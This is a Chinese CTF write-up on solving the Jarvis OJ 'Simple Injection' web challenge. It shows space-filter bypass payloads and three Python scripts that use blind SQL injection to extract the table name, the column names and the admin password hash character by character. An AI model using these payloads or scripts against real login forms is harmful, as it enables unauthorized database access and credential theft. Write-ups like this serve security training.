Jarvis OJ中web题——Simple Injection

题目链接:http://web.jarvisoj.com:32787/login.php

0x00 分析

如题目所言,这是个SQL注入,且是个盲注。

初步探测:username=admin  password=123456 提示密码错误;username=admin123  password=123456 提示用户名错误。

发现用户名和密码出错有着不同的提示信息,可以猜测后台对用户名和密码是分步验证的,且已确定一个合法用户名admin。

尝试构造:username=admin' and 1#  password=123456 提示用户名错误,调试后发现空格被过滤。

可以用注释符/**/替换空格,再构造:username=admin'/**/and/**/1#  password=123456 提示密码错误,说明注入成功

接下来就可以愉快的暴库爆表爆字段了。

0x01 注入

以下payload省略password。

payload1: username = admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))>1#
使用二分法可以快速确定length(group_concat(distinct table_name))=5。

知道长度后接下来就可以开始确定具体内容,手工比较麻烦,用python写个脚本:


import requests

if __name__ == '__main__':
    url = 'http://web.jarvisoj.com:32787/login.php'
    # username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
    for i in range(5):
        for num in range(44, 123):
            # 偷懒,直接遍历,不用二分法了。
            username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
            data = {
                'username': username,
                'password': '123'
            }
            html = requests.post(url, data=data)
            if len(html.text)==1191:  # 密码错误时响应内容长度为1191
                print(chr(num), end='')
                break


image1

得到当前库中只有一张admin表。

获取admin表中的字段名,与上面类似。
payload3: username=admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))>1#
使用二分法可以快速确定length(group_concat(distinct column_name))=20。
上面的代码稍微改改,获取字段内容:


import requests

if __name__ == '__main__':
    url = 'http://web.jarvisoj.com:32787/login.php'
    # username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
    for i in range(20):
        for num in range(44, 123):
            # 偷懒,直接遍历,不用二分法了。
            # username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
            # username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))=20#"
            username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'),"+str(i+1)+",1))=" + str(num) + "#"
            data = {
                'username': username,
                'password': '123'
            }
            html = requests.post(url, data=data)
            if len(html.text)==1191:  # 密码错误时响应内容长度为1191
                print(chr(num), end='')
                break
<!-- endtab -->


image1

接着获取password字段,同样的方法确定len(password)=32,估计是个md5值,大同小异的代码:


import requests

if __name__ == '__main__':
    url = 'http://web.jarvisoj.com:32787/login.php'
    # username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
    for i in range(32):
        for num in range(44, 123):
            # 偷懒,直接遍历,不用二分法了。
            # username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
            # username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))=20#"
            # username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'),"+str(i+1)+",1))=" + str(num) + "#"
            # username = "admin'/**/and/**/length((select/**/password/**/from/**/admin))=32#"
            username = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin),"+str(i+1)+",1))="+str(num)+"#"
            data = {
                'username': username,
                'password': '123'
            }
            html = requests.post(url, data=data)
            if len(html.text)==1191:  # 密码错误时响应内容长度为1191
                print(chr(num), end='')
                break


得到password = 334cfb59c9d74849801d5acdcfdaadc3,MD5解密可得到admin账户的登入密码 eTAloCrEP(那个
username中也就一个admin用户),不过现在这个md5好像成为付费的了╮(╯▽╰)╭
登陆后即可看到flag


image1